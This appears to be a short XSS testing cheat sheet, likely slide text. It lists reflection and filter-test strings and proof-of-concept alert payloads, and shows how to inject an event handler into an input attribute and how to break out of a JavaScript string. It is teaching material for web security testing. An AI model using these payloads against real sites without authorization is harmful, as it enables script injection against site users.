Collections of XSS payloads ready for fuzzing already exist:
XSS Discovery
Fuzzing
• Reflection tests: Simple but unique strings to determine if input isreflected back: 42424242• Filter tests: Determine what characters get filtered or encoded:<>()='"/;[]{}$--#&//• PoC payloads: These payloads attempt to prove the XSS flaw exists:<script>alert(42);</script>
In Tag Attributes
Input: 424242Initial HTML:<inputtype="text"name="xss"value="424242">Context Considerations:• Prefix option to close value assignment and possibly close the tag ">• Suffix depends on whether additional tags injectedExample Payload – Event Injection:424242" onload="alert(42)Resultant HTML:<inputtype="text"name="xss"value="424242"onload="alert(42)">
In Existing JS Code
Input: 424242Initial HTML:<script>var HitchHiker="424242"; … </script>Context Considerations:• Suffix options include JS line terminator, ; ,and single line comment delimiter, //• Often will be within a JS function, so closing parenthesis, ), might also be neededExample Payload:42";alert(42);//Resultant HTML:<script>var HitchHiker="42";alert(42);//"; … </script>